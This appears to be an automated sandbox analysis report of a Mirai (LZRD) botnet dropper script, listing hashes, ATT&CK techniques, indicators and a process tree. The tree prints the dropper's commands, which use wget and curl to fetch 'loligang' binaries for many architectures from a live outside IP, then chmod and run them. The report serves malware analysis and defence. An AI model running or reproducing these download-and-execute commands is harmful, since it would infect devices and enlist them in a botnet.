mirai | 289876bf62e9a2a364da63cceb9a865c84792377a700afb676811ee53113919e

Analysis

max time kernel
150s
max time network
155s
platform
debian-9_mips
resource
debian9-mipsbe-20240611-en
resource tags

arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
23-12-2024 06:19

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General

Target

Pemex.sh
Size

1KB
MD5

e18ba04d72384ac85e6117c774f6d4f9
SHA1

6cb8e9a2da2db042da0875a08f43cc867b8a2c5b
SHA256

289876bf62e9a2a364da63cceb9a865c84792377a700afb676811ee53113919e
SHA512

3e69c0fdb07347f2dcd8d3b3d9514d392a572173afec60fd702180cf3f7d5d21bca67dff2cb022641c7f0a2df4b817f1589a6a1599726ddeea67ba5c768e954d

Score

10^/10

mirai lzrd botnet defense_evasion discovery

Malware Config

Extracted

Family

mirai

Botnet

LZRD

Extracted

Family

mirai

Botnet

LZRD

Signatures

Mirai
Mirai is a prevalent Linux malware infecting exposed network devices.
botnet mirai
Mirai family
mirai
Contacts a large (73374) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 8 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
805	chmod
816	chmod
827	chmod
848	chmod
873	chmod
890	chmod
735	chmod
779	chmod

Executes dropped EXE 8 IoCs

ioc	pid	Process
/tmp/awoo	736	awoo
/tmp/awoo	780	awoo
/tmp/awoo	806	awoo
/tmp/awoo	817	awoo
/tmp/awoo	828	awoo
/tmp/awoo	849	awoo
/tmp/awoo	874	awoo
/tmp/awoo	891	awoo

Modifies Watchdog functionality 1 TTPs 14 IoCs

Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

defense_evasion

Impair Defenses

T1562

description	ioc	Process
File opened for modification	/dev/watchdog	awoo
File opened for modification	/dev/watchdog	awoo
File opened for modification	/dev/watchdog	awoo
File opened for modification	/dev/misc/watchdog	awoo
File opened for modification	/dev/watchdog	awoo
File opened for modification	/dev/misc/watchdog	awoo
File opened for modification	/dev/misc/watchdog	awoo
File opened for modification	/dev/watchdog	awoo
File opened for modification	/dev/misc/watchdog	awoo
File opened for modification	/dev/watchdog	awoo
File opened for modification	/dev/misc/watchdog	awoo
File opened for modification	/dev/misc/watchdog	awoo
File opened for modification	/dev/watchdog	awoo
File opened for modification	/dev/misc/watchdog	awoo

Enumerates active TCP sockets 1 TTPs 7 IoCs

Gets active TCP sockets from /proc virtual filesystem.

discovery

System Network Connections Discovery

T1049

description	ioc	Process
File opened for reading	/proc/net/tcp	awoo
File opened for reading	/proc/net/tcp	awoo
File opened for reading	/proc/net/tcp	awoo
File opened for reading	/proc/net/tcp	awoo
File opened for reading	/proc/net/tcp	awoo
File opened for reading	/proc/net/tcp	awoo
File opened for reading	/proc/net/tcp	awoo

Enumerates running processes
Discovers information about currently running processes on the system

Reads system network configuration 1 TTPs 7 IoCs

Uses contents of /proc filesystem to enumerate network settings.

discovery

Internet Connection Discovery

T1016.001

description	ioc	Process
File opened for reading	/proc/net/tcp	awoo
File opened for reading	/proc/net/tcp	awoo
File opened for reading	/proc/net/tcp	awoo
File opened for reading	/proc/net/tcp	awoo
File opened for reading	/proc/net/tcp	awoo
File opened for reading	/proc/net/tcp	awoo
File opened for reading	/proc/net/tcp	awoo

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/1/fd	awoo
File opened for reading	/proc/708/fd	awoo
File opened for reading	/proc/347/fd	awoo
File opened for reading	/proc/781/exe	awoo
File opened for reading	/proc/347/fd	awoo
File opened for reading	/proc/405/fd	awoo
File opened for reading	/proc/405/fd	awoo
File opened for reading	/proc/384/fd	awoo
File opened for reading	/proc/781/fd	awoo
File opened for reading	/proc/371/fd	awoo
File opened for reading	/proc/1/fd	awoo
File opened for reading	/proc/702/exe	awoo
File opened for reading	/proc/875/fd	awoo
File opened for reading	/proc/704/exe	awoo
File opened for reading	/proc/473/exe	awoo
File opened for reading	/proc/783/fd	awoo
File opened for reading	/proc/319/fd	awoo
File opened for reading	/proc/831/fd	awoo
File opened for reading	/proc/347/fd	awoo
File opened for reading	/proc/142/fd	awoo
File opened for reading	/proc/820/fd	awoo
File opened for reading	/proc/850/fd	awoo
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/705/fd	awoo
File opened for reading	/proc/896/fd	awoo
File opened for reading	/proc/856/fd	awoo
File opened for reading	/proc/832/exe	awoo
File opened for reading	/proc/821/fd	awoo
File opened for reading	/proc/812/fd	awoo
File opened for reading	/proc/853/fd	awoo
File opened for reading	/proc/682/exe	awoo
File opened for reading	/proc/510/fd	awoo
File opened for reading	/proc/798/fd	awoo
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/405/fd	awoo
File opened for reading	/proc/473/fd	awoo
File opened for reading	/proc/821/fd	awoo
File opened for reading	/proc/228/fd	awoo
File opened for reading	/proc/405/exe	awoo
File opened for reading	/proc/466/fd	awoo
File opened for reading	/proc/879/exe	awoo
File opened for reading	/proc/895/fd	awoo
File opened for reading	/proc/881/fd	awoo
File opened for reading	/proc/856/fd	awoo
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/373/fd	awoo
File opened for reading	/proc/466/exe	awoo
File opened for reading	/proc/832/fd	awoo
File opened for reading	/proc/820/fd	awoo
File opened for reading	/proc/812/fd	awoo
File opened for reading	/proc/875/exe	awoo
File opened for reading	/proc/405/fd	awoo
File opened for reading	/proc/473/fd	awoo
File opened for reading	/proc/466/exe	awoo
File opened for reading	/proc/856/fd	awoo
File opened for reading	/proc/705/exe	awoo
File opened for reading	/proc/466/exe	awoo
File opened for reading	/proc/682/exe	awoo
File opened for reading	/proc/321/fd	awoo
File opened for reading	/proc/783/fd	awoo
File opened for reading	/proc/167/fd	awoo
File opened for reading	/proc/703/exe	awoo
File opened for reading	/proc/895/exe	awoo
File opened for reading	/proc/812/fd	awoo

System Network Configuration Discovery 1 TTPs 3 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
738	wget
752	curl
777	cat

Writes file to tmp directory 17 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/loligang.ppc	curl
File opened for modification	/tmp/loligang.mpsl	wget
File opened for modification	/tmp/loligang.mips	wget
File opened for modification	/tmp/loligang.arm5	curl
File opened for modification	/tmp/loligang.arm6	curl
File opened for modification	/tmp/loligang.arm7	wget
File opened for modification	/tmp/awoo	Pemex.sh
File opened for modification	/tmp/loligang.mpsl	curl
File opened for modification	/tmp/loligang.arm4	curl
File opened for modification	/tmp/loligang.mips	curl
File opened for modification	/tmp/loligang.x86	curl
File opened for modification	/tmp/loligang.arm5	wget
File opened for modification	/tmp/loligang.arm6	wget
File opened for modification	/tmp/loligang.arm7	curl
File opened for modification	/tmp/loligang.ppc	wget
File opened for modification	/tmp/loligang.m68k	wget
File opened for modification	/tmp/loligang.x86	wget

/tmp/Pemex.sh
/tmp/Pemex.sh
1⤵
- Writes file to tmp directory
PID:705
- /usr/bin/wget
  wget http://185.255.120.43/lmaoWTF/loligang.x86
  2⤵
  - Writes file to tmp directory
  PID:712
- /usr/bin/curl
  curl -O http://185.255.120.43/lmaoWTF/loligang.x86
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:732
- /bin/cat
  cat loligang.x86
  2⤵
  PID:734
- /bin/chmod
  chmod +x awoo loligang.x86 Pemex.sh systemd-private-a76e6c52f6484569955a0300d27efee0-systemd-timedated.service-LGu9q4
  2⤵
  - File and Directory Permissions Modification
  PID:735
- /tmp/awoo
  ./awoo
  2⤵
  - Executes dropped EXE
  PID:736
- /usr/bin/wget
  wget http://185.255.120.43/lmaoWTF/loligang.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:738
- /usr/bin/curl
  curl -O http://185.255.120.43/lmaoWTF/loligang.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:752
- /bin/cat
  cat loligang.mips
  2⤵
  - System Network Configuration Discovery
  PID:777
- /bin/chmod
  chmod +x awoo loligang.mips loligang.x86 Pemex.sh systemd-private-a76e6c52f6484569955a0300d27efee0-systemd-timedated.service-LGu9q4
  2⤵
  - File and Directory Permissions Modification
  PID:779
- /tmp/awoo
  ./awoo
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Enumerates active TCP sockets
  - Reads system network configuration
  - Reads runtime system information
  PID:780
- /usr/bin/wget
  wget http://185.255.120.43/lmaoWTF/loligang.mpsl
  2⤵
  - Writes file to tmp directory
  PID:787
- /usr/bin/curl
  curl -O http://185.255.120.43/lmaoWTF/loligang.mpsl
  2⤵
  - Writes file to tmp directory
  PID:801
- /bin/chmod
  chmod +x awoo loligang.mips loligang.mpsl loligang.x86 Pemex.sh
  2⤵
  - File and Directory Permissions Modification
  PID:805
- /tmp/awoo
  ./awoo
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Enumerates active TCP sockets
  - Reads system network configuration
  - Reads runtime system information
  PID:806
- /usr/bin/wget
  wget http://185.255.120.43/lmaoWTF/loligang.arm4
  2⤵
  PID:813
- /usr/bin/curl
  curl -O http://185.255.120.43/lmaoWTF/loligang.arm4
  2⤵
  - Writes file to tmp directory
  PID:814
- /bin/chmod
  chmod +x awoo loligang.arm4 loligang.mips loligang.mpsl loligang.x86 Pemex.sh
  2⤵
  - File and Directory Permissions Modification
  PID:816
- /tmp/awoo
  ./awoo
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Enumerates active TCP sockets
  - Reads system network configuration
  - Reads runtime system information
  PID:817
- /usr/bin/wget
  wget http://185.255.120.43/lmaoWTF/loligang.arm5
  2⤵
  - Writes file to tmp directory
  PID:824
- /usr/bin/curl
  curl -O http://185.255.120.43/lmaoWTF/loligang.arm5
  2⤵
  - Writes file to tmp directory
  PID:825
- /bin/chmod
  chmod +x awoo loligang.arm4 loligang.arm5 loligang.mips loligang.mpsl loligang.x86 Pemex.sh
  2⤵
  - File and Directory Permissions Modification
  PID:827
- /tmp/awoo
  ./awoo
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Enumerates active TCP sockets
  - Reads system network configuration
  - Reads runtime system information
  PID:828
- /usr/bin/wget
  wget http://185.255.120.43/lmaoWTF/loligang.arm6
  2⤵
  - Writes file to tmp directory
  PID:835
- /usr/bin/curl
  curl -O http://185.255.120.43/lmaoWTF/loligang.arm6
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:836
- /bin/chmod
  chmod +x awoo loligang.arm4 loligang.arm5 loligang.arm6 loligang.mips loligang.mpsl loligang.x86 Pemex.sh
  2⤵
  - File and Directory Permissions Modification
  PID:848
- /tmp/awoo
  ./awoo
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Enumerates active TCP sockets
  - Reads system network configuration
  - Reads runtime system information
  PID:849
- /usr/bin/wget
  wget http://185.255.120.43/lmaoWTF/loligang.arm7
  2⤵
  - Writes file to tmp directory
  PID:854
- /usr/bin/curl
  curl -O http://185.255.120.43/lmaoWTF/loligang.arm7
  2⤵
  - Writes file to tmp directory
  PID:863
- /bin/chmod
  chmod +x awoo loligang.arm4 loligang.arm5 loligang.arm6 loligang.arm7 loligang.mips loligang.mpsl loligang.x86 Pemex.sh
  2⤵
  - File and Directory Permissions Modification
  PID:873
- /tmp/awoo
  ./awoo
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Enumerates active TCP sockets
  - Reads system network configuration
  - Reads runtime system information
  PID:874
- /usr/bin/wget
  wget http://185.255.120.43/lmaoWTF/loligang.ppc
  2⤵
  - Writes file to tmp directory
  PID:878
- /usr/bin/curl
  curl -O http://185.255.120.43/lmaoWTF/loligang.ppc
  2⤵
  - Writes file to tmp directory
  PID:888
- /bin/chmod
  chmod +x awoo loligang.arm4 loligang.arm5 loligang.arm6 loligang.arm7 loligang.mips loligang.mpsl loligang.ppc loligang.x86 Pemex.sh
  2⤵
  - File and Directory Permissions Modification
  PID:890
- /tmp/awoo
  ./awoo
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Enumerates active TCP sockets
  - Reads system network configuration
  - Reads runtime system information
  PID:891
- /usr/bin/wget
  wget http://185.255.120.43/lmaoWTF/loligang.m68k
  2⤵
  - Writes file to tmp directory
  PID:895
- /usr/bin/curl
  curl -O http://185.255.120.43/lmaoWTF/loligang.m68k
  2⤵
  - Reads runtime system information
  PID:899

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Impair Defenses

T1562

Credential Access

Discovery

Network Service Discovery

T1046

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

System Network Connections Discovery

T1049

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

/tmp/awoo

Filesize
87KB

MD5
5f6d2539a443501c888fc90986479ee6

SHA1
1f1ce02f9cafc0e684559cd7e36170d6cba370dc

SHA256
5775d9b48bb5c73f8e4625ee86f07e33967aecca610947654e8eea692e200137

SHA512
3bd781322c46687a8d750c1129b843a2a2312b186094d5918d5d8eac8c0b04ef8ee14a6a14fb74eb557bdb6558f78301a597ee651c4ace2aa23ebe02554a7198

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/tmp/loligang.x86

Filesize
64KB

MD5
2354f2531c0bf296738fa7733c42785f

SHA1
86508e4ee74c70bf226f6666bf227a12be69dcad

SHA256
3d0b5252c0f8736759af8b122612395ea484794afbdeb5435769f3c164d04c93

SHA512
eda30463d2e8355af4d6626815aedb78b1b5d43c4df53e4a9a72405074a22e9fd09f54e882b0c5ad5136202907a7e6e599d29d325d6e0b3188e6f8ff77abe679

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Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads